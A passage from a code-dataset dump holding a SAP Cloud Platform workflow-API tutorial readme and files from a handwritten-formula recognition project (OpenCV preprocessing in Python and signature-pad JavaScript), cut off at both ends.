authentication.\n\n\n### 2. Explore other sources of API information - SAP Cloud Platform Service APIs\n\nWhile the API Hub is the primary source of API information, there is API information to be had in other places too. SAP Cloud Platform has a set of core service APIs that can be used to manage, build and extend the core capabilities of SAP Cloud Platform. These APIs are currently in beta and are described within the context of the platfom itself.\n\n:point_right: Go to your [SAP Cloud Platform Trial cockpit landing page](https://cockpit.hanatrial.ondemand.com/cockpit#/home/trial) where you'll see a number of quick links. One of them is for the APIs for SAP Cloud Platform as shown in this screenshot:\n\n![APIs for SAP Cloud Platform link](apis-for-sap-cloud-platform-link.png)\n\n:point_right: Select this link to view the different APIs available, for Accounts, Entitlements, Provisioning and more. Note again that these APIs are presented in a similar way to how APIs are presented in the API Hub, with version and type information.\n\n![Core Service APIs](core-service-apis.png)\n\n:point_right: Select one of the APIs, such as for the Accounts service, and get a feel for how the endpoints are presented; in a similar way to what we saw in the API Hub, the endpoints are grouped together. For the Accounts Service, the groups are Global Account Operations, Directory Operations, Subaccount Operations and Job Management.\n\n![Accounts Service API](accounts-service-api.png)\n\n> It may be that once these APIs move out of beta, they may find a place in the API Hub. But it's important to know that not every API is immediately listed there.\n\n:point_right: Before finishing with this step, take a quick look at the [Authorization](https://help.sap.com/viewer/65de2977205c403bbc107264b8eccf4b/latest/en-US/3670474a58c24ac2b082e76cbbd9dc19.html) link which will bring you to some documentation on how to manage authentication and authorization for these cloud management APIs. Make a mental note of what's required with respect to authentication here - how the APIs are protected.\n\n\n### 3. Explore other sources of API information - Enterprise Messaging APIs\n\nIt's also possible to find API information in the SAP Help Portal. Let's examine the [SAP Cloud Platform Enterprise Messaging documentation](https://help.sap.com/viewer/bf82e6b26456494cbdd197057c09979f/Cloud/en-US/df532e8735eb4322b00bfc7e42f84e8d.html) as an example.\n\n:point_right: Head to the [development section](https://help.sap.com/viewer/bf82e6b26456494cbdd197057c09979f/Cloud/en-US/eee727e35a864ab5b7204f7b148053d3.html) of the SAP Cloud Platform Enterprise Messaging contents and expand the sub sections in the Table of Contents, where you'll see the following structure:\n\n```\nDevelopment\n |\n +-- REST APIs for Development\n |\n +-- Use REST APIs to Send and Receive Messages\n |\n +-- Use REST APIs to Manage Queues and Queue Subscriptions\n```\n\n> The REST APIs to send and receive messages are known collectively as the \"messaging\" APIs, and the REST APIs to manage queues and queue subscriptions are known collectively as the \"management\" APIs.\n\n:point_right: Select the [Use REST APIs to Send and Receive Messages](https://help.sap.com/viewer/bf82e6b26456494cbdd197057c09979f/Cloud/en-US/577ea7ce5cef4e2ea974c03d5549b3ff.html) section and you'll be presented with an overview page which describes how to authenticate for the calls, along with a link to the messaging APIs (\"You can access the messaging APIs [here](https://help.sap.com/doc/3dfdf81b17b744ea921ce7ad464d1bd7/Cloud/en-US/messagingrest-api-spec.html)\").\n\n:point_right: Follow the link to the actual messaging APIs where you'll see a description of all the endpoints, like this:\n\n![messaging APIs](messaging-apis.png)\n\nWhile the endpoints are presented differently, there's enough information to get going, especially when combined with the authentication information on the previous page.\n\n:point_right: In the same way as you've just done, now select the [Use REST APIs to Manage Queues and Queue Subscriptions](https://help.sap.com/viewer/bf82e6b26456494cbdd197057c09979f/Cloud/en-US/00160292a8ed445daa0185589d9b43c5.html) section and note that you're presented with a similar collection of information - an authentication section and a link to the actual [management APIs](https://help.sap.com/doc/75c9efd00fc14183abc4c613490c53f4/Cloud/en-US/rest-management-messaging.html). Take a moment to [stare](https://langram.org/2019/04/08/es6-reduce-and-pipe/) at the information presented for all the endpoints here.\n\n:point_right: Like in the previous steps, before finishing with this step, make sure you've spent a minute or two looking at the detail of the authentication requirements here.\n\n\n## Summary\n\nAt this point you should be comfortable and familiar enough with how SAP Cloud Platform APIs are presented and documented, and know the sort of information to expect to see.\n\n\n" }, { "alpha_fraction": 0.7297776937484741, "alphanum_fraction": 0.750047504901886, "avg_line_length": 55.584228515625, "blob_id": "464f684e260daab85277158c7a0fe1b88482a08c", "content_id": "155e5843911e456b23dccf2d92f77423963840f5", "detected_licenses": [ "LicenseRef-scancode-dco-1.1", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 15787, "license_type": "permissive", "max_line_length": 532, "num_lines": 279, "path": "/exercises/06/readme.md", "repo_name": "vishalkwatra/cloud-apis-virtual-event", "src_encoding": "UTF-8", "text": "# Exercise 06 - Calling the Workflow API from within the SAP API Business Hub\n\nNow we know how to find, authorize and make calls to Workflow API endpoints, let's try some calls in a different context. After all, API calls are just authenticated HTTP requests, so you can make them wherever you want.\n\nThe SAP API Business Hub (API Hub) not only provides information on API packages and APIs, but also provides you with the ability to maintain \"environments\" that reflect specific service instance and service key contexts. In this exercise you'll make some more Workflow API calls directly in the API Hub.\n\n## Steps\n\n[1. Create an environment in the API Hub](#1-create-an-environment-in-the-api-hub)<br>\n[2. Make your first API call from within the API Hub](#2-make-your-first-api-call-from-within-the-api-hub)<br>\n[3. Make a second API call](#3-make-a-second-api-call)<br>\n[4. Make a final call to the Workflow API to delete the workflow definition](#4-make-a-final-call-to-the-workflow-api-to-delete-the-workflow-definition)\n\nAfter following the steps in this exercise, you'll understand how to set up an environment in the API Hub and make API calls in that context.\n\n:point-right: While you'll be working in the API Hub, you'll still need access to your App Studio dev space, so make sure you still have that open and a terminal available and in the `workflowapi/` directory.\n\n\n### 1. Create an environment in the API Hub\n\nAt [the end of exercise 02](../02#4-see-where-these-grant-types-are-used-for-apis-on-sap-cloud-platform) we saw a glimpse of the \"Configure Environments\" facility in the API Hub. We'll use that in this step to define an environment that reflects the details of the service key contents we have in our service key file.\n\n:point_right: Go to the [Workflow API for Cloud Foundry](https://api.sap.com/api/SAP_CP_Workflow_CF/resource) page in the API Hub, and make sure you're logged on.\n\n:point_right: Select the **Configure Environments** link, and get ready to specify the details. Now you're familiar with OAuth 2.0 concepts, the content of service keys, and how the two things relate, it should be fairly straightforward to provide the appropriate values for the properties in the form. Apart from the name you want to give to this environment (which you can make up), all the values you need are in the service key JSON data.\n\n:point_right: Get ready with the values, by looking at the service key contents. This is the file you created via the [`setup-service-key`](../../workspaces/workflowapi/setup-service-key) script in a previous exercise, and is called `workflow-lite-sk1.json` (or, via its dynamic variable name from the [`shared`](../../workspaces/workflowapi/shared) script, `$keyfile`).\n\nYou can either look at the file contents in the regular App Studio editor, or use `jq` either for the whole file or for individual properties. If you want to use the terminal (and remember, [#TheFutureIsTerminal](https://twitter.com/search?q=%23TheFutureIsTerminal&src=typed_query)!) then you can do it like this:\n\n```shell\n> source shared\n> jq . < $keyfile # show the entire file contents\n> jq -r .endpoints.workflow_rest_url < $keyfile # show the API endpoint\n> jq -r .uaa.clientid < $keyfile # show the client ID\n> jq -r .uaa.clientsecret < $keyfile # show the client secret\n> jq -r .uaa.url < $keyfile # show the auth server base URL\n```\n\n> using `source shared` just ensures that the variables in the `shared` file are set correctly, so you can use the dynamic name references such as `$keyfile`.\n\nHere's an example of one of those invocations in action:\n\n```shell\n> jq -r .endpoints.workflow_rest_url < $keyfile # show the API endpoint\nhttps://api.workflow-sap.cfapps.eu10.hana.ondemand.com/workflow-service/rest\n```\n\n:point_right: Complete the properties in the API Hub's \"Configure Environments\" dialog as follows:\n\n|Property|Value|\n|-|-|\n|Starting URL|Must match the value of the `.endpoints.workflow_rest_url` property|\n|Display name for Environment|Make a name up, like \"My Env\"|\n|OAuth 2.0 Client Id|Must match the value of the `.uaa.clientid` property|\n|OAuth 2.0 Client Secret|Must match the value of the `.uaa.clientsecret` property|\n|OAuth 2.0 consumersubdomain|Must match the most significant part of the value of `.uaa.url`|\n|OAuth 2.0 landscapehost|Must match the rest of the value of `.uaa.url` excluding \"authentication\"|\n\n> The last two properties \"consumersubdomain\" and \"landscapehost\" must basically be so specified that the value for \"Token URL\" ends up being the value of `.uaa.url` with `/oauth/token` appended. Here's an example. If the value of the `.uaa.url` is `https://a52544d1trial.authentication.eu10.hana.ondemand.com` then the value for \"consumersubdomain\" is `a52544d1trial` (this value is also available in the `.uaa.identityzone` property) and the value for \"landscapehost\" is `eu10.hana.ondemand.com`.\n\n:point_right: Mark the checkbox \"Apply this environment to all APIs in this package that are not yet configured\" and the radio button \"Save this environment for future sessions\" and choose **Save**.\n\nYou've now got an environment that is specific to you and your own Workflow service instance.\n\n\n### 2. Make your first API call from within the API Hub\n\nNow to make your first call from within the API Hub. Let's start with listing any workflow instances, i.e. making a `GET` request to the `/v1/workflow-instances` API endpoint.\n\n:point_right: While still logged into the API Hub, and your environment selected, find the endpoint (in the \"Workflow Instances\" group) and use the **Try out** link, which should present you with a large \"Execute\" button (you may have to scroll down a bit). Select that button to have the call made.\n\nIf you've defined the values in your environment appropriately, you should get the response that you're hoping for. First, as a bonus, you're shown the entire request URL, which will look something like this (split over a number of lines for readability):\n\n```\nhttps://api.workflow-sap.cfapps.eu10.hana.ondemand.com\n /workflow-service/rest/v1/workflow-instances\n ?%24orderby=startedAt%20desc\n &%24skip=0\n &%24top=100\n &%24inlinecount=none\n```\n\n> If you're curious about the encoding of the query string in this URL, you could use a local utility, or a service such as [urldecode.org](https://urldecode.org). Here, we see that [urldecode.org gives us the decoded version](https://urldecode.org/?text=%2524orderby%3DstartedAt%2520desc%26%2524skip%3D0%26%2524top%3D100%26%2524inlinecount%3Dnone&mode=decode) which looks like this: `$orderby=startedAt desc&$skip=0&$top=100&$inlinecount=none` (remember never to use an online service like this to encode or decode sensitive data).\n\nNext, you are shown the HTTP status code and any response body. Here, the status code is 200 (OK) and there's an empty list represented by an empty JSON array, denoting \"nothing in the list\":\n\n```json\n[]\n```\n\nThere's nothing listed because, as stated in the description of this endpoint, \"_If no parameters are specified, all RUNNING, or ERRONEOUS instances are returned._\".\n\nFinally, you're also shown the HTTP response headers:\n\n```\nX-Frame-Options: DENY\nStrict-Transport-Security: max-age=31536000; includeSubDomains; preload;\nCache-Control: no-cache, no-store, max-age=0, must-revalidate\nServer: SAP\nX-Content-Type-Options: nosniff, nosniff\nX-Xss-Protection: 1; mode=block\nVary: accept-encoding\nExpires: 0\nPragma: no-cache\nDate: Mon, 21 Sep 2020 12:20:23 GMT\nX-Vcap-Request-Id: 10b42795-9d62-4507-6d06-c475a33c20eb\nContent-Type: application/json\n```\n\n\n### 3. Make a second API call\n\nLet's try another.\n\n:point_right: In the same \"Workflow Instances\" group, find and select the API endpoint represented by a `POST` request to `/v1/workflow-instances`. That's right, in this call we'll start a new workflow instance.\n\nHere we'll need to specify a payload which should contain, at the very least, a property denoting the ID of the workflow definition, and a property containing any context that should be supplied for the new instance. If you're wondering, this is exactly what was specified in the `start_workflow_instance` function in the `workflow` script that we used in the previous exercise in your App Studio's dev space. For reference, this is what the `curl` call looked like:\n\n```bash\ncurl \\\n --$output \\\n --header \"Authorization: Bearer $access_token\" \\\n --header \"Content-Type: application/json\" \\\n --data \"{\\\"definitionId\\\": \\\"$definition\\\", \\\"context\\\": {}}\" \\\n \"$resourceserverapiroot/v1/workflow-instances\" \\\n| jq .\n```\n\nWhat we see in this call, that we perhaps haven't seen in other calls, is the supply of some JSON data in the payload for this call (with the `--data` option). If you [stare at](https://langram.org/2019/04/08/es6-reduce-and-pipe/) the value passed with that `--data` option, you'll see it's just escaped JSON, that, when expanded, looks like this:\n\n```json\n{\n \"definitionId\": \"...\",\n \"context\": {}\n}\n```\n\nWe can see that in the equivalent call in the API Hub, we're presented with the need to specify a JSON value for the body (i.e. the payload), as shown:\n\n![POST /v1/workflow-instance body requirement](body-requirement.png)\n\nThe sample body is a more complex JSON structure, but for our purposes, all we need is what we specified in the previous exercise.\n\n:point_right: Replace the sample body with this (below) and then select the large blue \"Execute\" button.\n\n```json\n{\n \"definitionId\": \"workflow\",\n \"context\": {}\n}\n```\n\nThe response is presented like before - with the Request URL that was used (again, split over multiple lines for readability):\n\n```\nhttps://api.workflow-sap.cfapps.eu10.hana.ondemand.com\n /workflow-service/rest/v1/workflow-instances\n```\n\nfollowed by the HTTP status code which is 201, and the response body, which looks something like this:\n\n```json\n{\n \"id\": \"13e194d7-fc08-11ea-9e92-eeee0a9e5a06\",\n \"definitionId\": \"workflow\",\n \"definitionVersion\": \"1\",\n \"subject\": \"workflow\",\n \"status\": \"RUNNING\",\n \"businessKey\": \"\",\n \"startedAt\": \"2020-09-21T12:43:41.171Z\",\n \"startedBy\": \"sb-clone-b09d9fcf-a418-44c8-9589-ebabea654cb7!b55889|workflow!b10150\",\n \"completedAt\": null\n}\n```\n\nWe also are given the HTTP response headers again.\n\nWe should feel fairly comfortable with this response, because we've seen it before in the previous exercise; then, and now, we just caught the freshly started instance in a \"RUNNING\" state, before it went pretty much immediately to \"COMPLETED\".\n\n\n### 4. Make a final call to the Workflow API to delete the workflow definition\n\nWhen you work with the Workflow service, and in particular the Monitor Workflows app, you'll notice that there is no facility for deleting workflow definitions in the UI. We can sort of understand this - it's quite a destructive thing to do. But we need to be able to do it somehow, and the API comes to our aid here. So let's round out this exercise, and our foray into the Workflow API, by finding and using the endpoint that allows us to delete a workflow definition.\n\n:point_right: While still in the API Hub on the [Workflow API for Cloud Foundry](https://api.sap.com/api/SAP_CP_Workflow_CF/resource) page, find the endpoint that describes a `DELETE` request to the `/v1/workflow-definitions/{definitionId}` endpoint, expand it, and use the **Try out** facility again.\n\n![Delete workflow definition API endpoint](delete-workflow-definition.png)\n\nAs shown, the ID of the workflow definition that you want to delete is required. You also have a choice as to whether to \"cascade\" the deletion, i.e. to delete active (i.e. running) instances of it. In this screenshot example, we've chosen the correct value for our workflow definition ID (\"workflow\") and opted to cascade the delete.\n\n:point_right: Use the large blue \"Execute\" button, and check the result, which might not be what you're expecting ... but then again might be what you actually wanted.\n\nThe HTTP status code 403 is returned, signifying that we are not authorized. The payload that's returned confirms it:\n\n```json\n{\n \"error\": {\n \"message\": \"User does not have sufficient privileges.\"\n }\n}\n```\n\nWe've seen this before and know what to do!\n\n:point_right: Check the details of this API endpoint - what authority (scope) is required for this?\n\nThat's right, one that we haven't seen before, and one that is definitely not allocated to our Workflow service instance:\n\n\n```\nScope: WORKFLOW_DEFINITION_UNDEPLOY\n```\n\nTo fix this, flip back to your App Studio dev space, open the `authorities.json` file (in the `workflowapi/` directory) and add this new value to the list (don't forget to add a comma to the preceding line if you're adding this new authority to the end), so that the contents now look like this:\n\n```json\n{\n \"authorities\": [\n \"WORKFLOW_DEFINITION_GET\",\n \"WORKFLOW_INSTANCE_GET\",\n \"WORKFLOW_INSTANCE_START\",\n \"WORKFLOW_DEFINITION_UNDEPLOY\"\n ]\n}\n```\n\n> Why are we _adding_ this new scope to the list? Because the `cf update-service` action is absolute, i.e. not relative / additive. If we were to update the service with merely a list of just this one new authority, the other three would disappear.\n\n:point_right: Now, having ensured your changes to the `authorities.json` file are saved, open a terminal in the App Studio dev space, move to the appropriate directory, and run the command you used for this in the previous exercise:\n\n```bash\n> cd $HOME/projects/cloud-apis-virtual-event/workspaces/workflowapi/\n> ./workflow add_authorities authorities.json\n```\n\nYou'll get a brief response like before:\n\n```\nUpdating service instance workflow-lite as [email protected]...\nOK\n```\n\n:point_right: Finally, back in the API Hub, try the \"Execute\" button again. The API call should now be successful, and you should be presented with the appropriate output, i.e. a positive HTTP response. The response code is 202, appropriate for a DELETE action; there is no payload (as there's nothing to send back), but of course there are headers that you can inspect, as with any HTTP response:\n\n```\nX-Frame-Options: DENY\n Strict-Transport-Security: max-age=31536000; includeSubDomains; preload;\n Cache-Control: no-cache, no-store, max-age=0, must-revalidate\n Server: SAP\n X-Content-Type-Options: nosniff, nosniff\n X-Xss-Protection: 1; mode=block\n Expires: 0\n Pragma: no-cache\n Content-Length: 0\n Date: Mon, 21 Sep 2020 13:04:55 GMT\n X-Vcap-Request-Id: 53a6822e-354f-4abf-4ee9-f7b87892a5e5\n Location: /workflow-service/rest/v1/jobs/bb66fb4f-b445-47b5-b82b-ba6906d1ba2b\n```\n\nThat's it - you've made an API call to clean up after yourself by removing the workflow definition you deployed in an earlier exercise. Well done!\n\n\n## Summary\n\nAt this point you should be quite familiar with the Workflow API, and comfortable with how calls are authorized and made. You've covered a lot of ground by getting to this point, well done!\n\n\n## Questions\n\n1. In the urldecoded query string, we see parameters such as `$orderby`, `$top` and `$skip`. What are you reminded of?\n\n1. When making the `GET` request to the `/v1/workflow-instances` endpoint here, we got an empty list in response. Why does that look different to the response we got in the previous exercise to the same call (hint: what parameter values have been specified in both cases)?\n\n1. In the response to `POST /v1/workflow-instances`, what does the particular HTTP 201 status code signify, and why?\n\n1. What is the significance of the HTTP 202 status code, and which header in the response is important in this regard?\n\n1. What do you think is happening behind the scenes in the API Hub when making calls in the context of a defined environment? Might our experience in step 4 make us consider the logic that is being used?\n" } ]
17
okaokaw/HE2L
https://github.com/okaokaw/HE2L
a7dfc03a9776116d4ec3ff758f15c55ba1c2b89d
76dba8c252e1da7f94aebb1f94eaf0dd0a6ebb47
78037128c966c635b9bd5a7591fb8b2748f8392b
refs/heads/master
2023-02-10T20:50:07.883743
2021-01-04T06:11:39
2021-01-04T06:11:39
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4647887349128723, "alphanum_fraction": 0.6901408433914185, "avg_line_length": 16.75, "blob_id": "cf5e51e416e5581f3f96847ba7519a27825a692a", "content_id": "be5dbe28f74d6f30257b69ecfe377834c9110377", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 71, "license_type": "permissive", "max_line_length": 23, "num_lines": 4, "path": "/requirements.txt", "repo_name": "okaokaw/HE2L", "src_encoding": "UTF-8", "text": "Flask==1.1.2\nnumpy==1.16.1\ntensorflow==2.0.0a0\nopencv-python==3.4.2.16\n" }, { "alpha_fraction": 0.518223226070404, "alphanum_fraction": 0.5503036975860596, "avg_line_length": 27.619565963745117, "blob_id": "9d0faf0d62b4bd518103e73caba41fdfb3263292", "content_id": "563e2283f598611b9bae36bb703b39d159258599", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6238, "license_type": "permissive", "max_line_length": 147, "num_lines": 184, "path": "/CV.py", "repo_name": "okaokaw/HE2L", "src_encoding": "UTF-8", "text": "import cv2\nimport numpy as np\nimport base64\nimport os\n\n\ndef read_by_type(img, type):\n \"\"\"\n 按不同类型读取cv图片\n :param img: 图片数据,可以为目录或base64编码\n :param type: 选择图片数据的类型,'path' 或者 'b64'\n :return: cv2 可用的图片数据\n \"\"\"\n if type == 'path':\n img = cv2.imread(img, cv2.IMREAD_GRAYSCALE)\n if type == 'b64':\n img = cv2.imdecode(np.frombuffer(base64.b64decode(img), dtype=np.uint8), cv2.IMREAD_GRAYSCALE)\n return img\n\n\ndef pre_p(img):\n \"\"\"\n 图片预处理,二值,反转\n :param img: 待处理图片\n :return: 二值、反转后的图片\n \"\"\"\n ret, img = cv2.threshold(img, 127, 255, cv2.THRESH_BINARY_INV)\n return img\n\n\ndef rawBox(img):\n \"\"\"\n 获取图中各字符的原始最小边框(BoundingBox)\n :param img: 手写数学公式图片\n :return: BoundingBox坐标信息list\n \"\"\"\n # cv2 找轮廓\n # ret, img = cv2.threshold(img, 127, 255, cv2.THRESH_BINARY_INV) # 二值化, 黑白翻转, thresh 为处理后\n im2, contours, hierarchy = cv2.findContours(img, cv2.RETR_EXTERNAL, 2) # 只选择外轮廓\n\n # img2 = thresh # 指定最后绘制框、窗口显示的图片\n res = [] # 框出的矩形坐标数据\n\n # 依次框出\n for cnt in contours:\n x, y, w, h = cv2.boundingRect(cnt) # 轮廓矩形的左上角坐标、宽、高\n if x is 0: continue # 除掉整个图片最外框\n if w*h < 15: continue # 除噪点(按面积)\n # cv2.rectangle(img, (x, y), (x+w, y+h), (255, 255, 255), 1) # 画矩形\n res.append([(x, y), (x+w, y+h)]) # 以矩形的两个端点为组保存\n # 显示\n '''\n print(len(res))\n cv2.imshow(\"1\", img2) # 显示图片\n cv2.waitKey(0) # 不 wait 窗口打开即关闭,看不到\n cv2.destroyAllWindows()\n '''\n res.sort() # sort之后就保证是从左到右的顺序了\n return res\n\n\ndef padding_resize(img, re_size):\n \"\"\"\n 缩放、填充至对应的图片分辨率\n :param img\n :param re_size: 数据集图片的分辨率(边长)。此处为 128\n :return: 处理后的图片\n \"\"\"\n\n # 填充、resize\n size = img.shape\n h, w = size[0], size[1]\n #长边缩放为re_size\n scale = max(w, h) / float(re_size)\n new_w, new_h = int(w/scale), int(h/scale)\n resize_img = cv2.resize(img, (new_w, new_h))\n # 填充至re_size * re_size\n if new_w % 2 != 0 and new_h % 2 == 0:\n top, bottom, left, right = (re_size-new_h)/2, (re_size-new_h)/2, (re_size-new_w)/2 + 1, (re_size-new_w)/2\n elif new_h % 2 != 0 and new_w % 2 == 0:\n top, bottom, left, right = (re_size-new_h)/2 + 1, (re_size-new_h)/2, (re_size-new_w)/2, (re_size-new_w)/2\n elif new_h % 2 == 0 and new_w % 2 == 0:\n top, bottom, left, right = (re_size-new_h)/2, (re_size-new_h)/2, (re_size-new_w)/2, (re_size-new_w)/2\n else:\n top, bottom, left, right = (re_size-new_h)/2 + 1, (re_size-new_h)/2, (re_size-new_w)/2 + 1, (re_size-new_w)/2\n pad_img = cv2.copyMakeBorder(resize_img, int(top), int(bottom), int(left), int(right), cv2.BORDER_CONSTANT, value=[0,0,0]) #从图像边界向上,下,左,右扩的像素数目\n #print pad_img.shape\n return pad_img\n\n\ndef get_resized_cut(img, rec, re_size):\n \"\"\"\n 符合数据集规范的cut图(分割、二值、反转、分辨率)\n :param img: 预处理后的图\n :param rec: BoundingBox 坐标信息\n :param re_size: 分辨率(边长)\n :return:\n \"\"\"\n return padding_resize(img[rec[0][1]:rec[1][1], rec[0][0]:rec[1][0]], re_size)\n\n\ndef draw_box_and_text(img, rec, label):\n \"\"\"\n 在预处理后的图片上框出字符、标注预测值\n :param img\n :param rec\n :param label\n \"\"\"\n cv2.rectangle(img, rec[0], rec[1], (255, 255, 255), 1) # 顺便画出框\n cv2.putText(img, label, rec[0], cv2.FONT_HERSHEY_PLAIN, 3, (100, 200, 200), 2)\n\n\ndef write_img(path, img):\n cv2.imwrite(path, img)\n\n\ndef process_save(img, path, label):\n \"\"\"\n 数据集图像采集:分割处理原始手写字符图像,重命名保存至相应标签目录\n :param img: 原始手写字符图像,一张图内可有多个手写字符\n :param path: 保存的上级目录,如 ./DataSet1/raw\n :param label: 手写字符标签,作为目录名\n :return: 成功保存的图片数\n \"\"\"\n\n # 预处理\n img = pre_p(img) # 二值化, 黑白翻转, thresh 为处理后\n\n # 分割\n res = rawBox(img)\n\n # 统计目前已有文件数\n dirlist = os.listdir(path)\n i = len(dirlist)\n if '.DS_Store' in dirlist: i = i - 1\n I = i\n\n for rec in res:\n i = i + 1\n # 截取图片\n cut = get_resized_cut(img, rec, 128)\n cv2.imwrite(path + \"/\" + label + \"_\" + str(i) + \".png\", cut) # 保存至本地\n\n return str(i - I) # 返回保存的图片数\n\n\nif __name__ == \"__main__\":\n '''\n re_size = 128\n\n data_set = \"DataSet1\"\n\n # 训练集处理\n dirlist = os.listdir(r'./' + data_set + '/train')\n if '.DS_Store' in dirlist:\n dirlist.remove('.DS_Store')\n for dir in dirlist:\n train_datas = os.listdir(r'./' + data_set + '/train/' + dir)\n if '.DS_Store' in train_datas:\n train_datas.remove('.DS_Store')\n i = 1\n for train_data in train_datas:\n img = cv2.imread(r'./' + data_set + '/train/' + dir + '/' + train_data)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n process_save(img, r'./' + data_set + '/train/', dir.split('_', 1)[0])\n i = i + 1\n\n # 测试集处理\n dirlist = os.listdir(r'./' + data_set + '/test')\n if '.DS_Store' in dirlist:\n dirlist.remove('.DS_Store')\n for dir in dirlist:\n test_datas = os.listdir(r'./' + data_set + '/test/' + dir)\n if '.DS_Store' in test_datas:\n test_datas.remove('.DS_Store')\n i = 1\n for test_data in test_datas:\n img = cv2.imread(r'./' + data_set + '/test/' + dir + '/' + test_data)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n process_save(img, r'./' + data_set + '/test/', dir.split('_', 1)[0])\n i = i + 1\n\n '''\n #print(cv2.__version__)\n\n\n" }, { "alpha_fraction": 0.588707685470581, "alphanum_fraction": 0.6028230786323547, "avg_line_length": 27.52083396911621, "blob_id": "3188f3babbe96a46bcdf997625d30e38f6492e2e", "content_id": "67f06b4b82c38cf158733759182074f6d1ce37f6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4361, "license_type": "permissive", "max_line_length": 101, "num_lines": 144, "path": "/static/js/app.js", "repo_name": "okaokaw/HE2L", "src_encoding": "UTF-8", "text": "// 获取画布canvas对象\nvar canvas = document.querySelector(\"canvas\");\n\n\n//手写板对象\nvar signaturePad = new SignaturePad(canvas, {\n backgroundColor: 'rgb(255,255,255)', // 画白色背景,否则默认透明或者黑色,笔也是黑色,出来就是全黑\n minWidth: 3,\n maxWidth: 3\n});\n\n\n//实时响应\nsignaturePad.onEnd = function() {\n send_img();\n\n};\n\n\n//按比例缩放\nfunction resizeCanvas() {\n // When zoomed out to less than 100%, for some very strange reason,\n // some browsers report devicePixelRatio as less than 1\n // and only part of the canvas is cleared then.\n var context = canvas.getContext(\"2d\"); //context.getImageData(0,0,canvas.width,canvas.height)\n var imgData = signaturePad ? signaturePad.toData() : null;\n var ratio = Math.max(window.devicePixelRatio || 1, 1);\n canvas.width = canvas.offsetWidth * ratio;\n canvas.height = canvas.offsetHeight * ratio;\n context.scale(ratio, ratio);\n // context.putImageData(imgData,0,0);\n imgData && signaturePad.fromData(imgData);\n}\n\nwindow.onresize = resizeCanvas;\nresizeCanvas();\n\n//点击复制 LaTeX 代码\nfunction copy_text(){\n var clipboard = new ClipboardJS('#pad-result', {\n target: function() {\n return document.querySelector('#pad-result');\n }\n });\n}\ndocument.getElementById('pad-result').onclick = copy_text();\n\n\n//点击复制渲染图片\nfunction copy_latex_img() {\n if (/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)){}\n\n else {\n html2canvas(document.getElementById('Latex')).then(function (canvas) {\n canvas.toBlob(function (blob) {\n const item = new ClipboardItem({\"image/png\": blob});\n navigator.clipboard.write([item]);\n });\n console.log(canvas.toDataURL('image/png'));\n });\n }\n}\ndocument.getElementById('Latex').addEventListener('click', function() {\n copy_latex_img();\n});\n\n\n\n\n\n//给后端服务器传图片信息\nfunction send_img() {\n imgData = {URL: signaturePad.toDataURL().substring(22)}; //JSON\n\n //用 request 与后端通信, POST\n var request = new XMLHttpRequest();\n // 处理请求返回\n request.onreadystatechange = function () {\n if (request.readyState == 4) {\n if ((request.status >= 200 && request.status < 300) || request.status == 304) {\n //console.log(request.response)\n document.querySelector('#pad-result').innerHTML=request.response; //写结果\n //渲染公式\n katex.render(request.response, document.getElementById('Latex'), {\n throwOnError: false\n });\n/*\n //转换为canvas\n html2canvas(document.getElementById('Latex')).then(function(canvas) {\n $('#Latex').empty();\n var image = new Image();\n image.id = \"Latex_img\";\n image.src = canvas.toDataURL();\n document.getElementById('Latex').appendChild(image);\n });\n*/\n\n }\n }\n };\n request.open(\"POST\", \"./predict\");\n request.setRequestHeader('content-type', 'application/json');\n request.send(JSON.stringify(imgData));\n}\n\n\n\n\n//按钮事件绑定\n//清除按钮\ndocument.getElementById('pad-clear').addEventListener(\"click\", function (event) {\n signaturePad.clear();\n document.querySelector('#pad-result').innerHTML=\"\";\n katex.render(\"\", document.getElementById('Latex'), {\n throwOnError: false\n });\n});\n\n/*\n//识别按钮\ndocument.getElementById('pad-predict').addEventListener(\"click\", function (event) {\n if (signaturePad.isEmpty()) {\n alert(\"请书写一个数字\");\n } else {\n send_img();\n }\n});\n*/\n\n//橡皮擦按钮\ndocument.getElementById('pad-erase').addEventListener('click', function () {\n //signaturePad.dotSize = 20;\n signaturePad.penColor = \"rgb(255,255,255)\";\n signaturePad.minWidth = 20;\n signaturePad.maxWidth = 20;\n});\n\n//画笔按钮\ndocument.getElementById('pad-draw').addEventListener('click', function () {\n //signaturePad.lineWidth = 10;\n signaturePad.penColor = \"rgb(0,0,0)\";\n signaturePad.minWidth = 3;\n signaturePad.maxWidth = 3;\n});\n\n\n" }, { "alpha_fraction": 0.5676083564758301, "alphanum_fraction": 0.5827043056488037, "avg_line_length": 26.91566276550293, "blob_id": "5f30bd1efc7cdc0234ee50e07038e4944693a749", "content_id": "2df40432f68c8d2ce36c16557f360aecf095bde9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 5003, "license_type": "permissive", "max_line_length": 166, "num_lines": 166, "path": "/static/js/app-data.js", "repo_name": "okaokaw/HE2L", "src_encoding": "UTF-8", "text": "var label;\n// 获取画布canvas对象\nvar canvas = document.querySelector(\"canvas\");\n\n//手写板\nvar hwPad = new SignaturePad(canvas, {\n backgroundColor: 'rgb(255,255,255)', // 画白色背景,否则默认透明或者黑色,笔也是黑色,出来就是全黑\n minWidth: 3,\n maxWidth: 3\n});\n\n//按比例缩放,改变窗口大小时会清除\nfunction resizeCanvas() {\n var ratio = Math.max(window.devicePixelRatio || 1, 1);\n canvas.width = canvas.offsetWidth;\n canvas.height = canvas.offsetHeight;\n //canvas.getContext(\"2d\").scale(ratio, ratio);\n hwPad.clear();\n}\n\nwindow.onresize = resizeCanvas;\nresizeCanvas();\n\n\nfunction get_raw_dataset() {\n\n //用 request 请求 与后端通信, POST\n var request = new XMLHttpRequest();\n\n // 处理请求返回\n console.log(\"开始获取文件信息\");\n\n request.onreadystatechange = function () {\n if (request.readyState == 4) {\n if ((request.status >= 200 && request.status < 300) || request.status == 304) {\n //console.log(request.response)\n var label_list = JSON.parse(request.response).label_list;\n show_li(label_list);\n 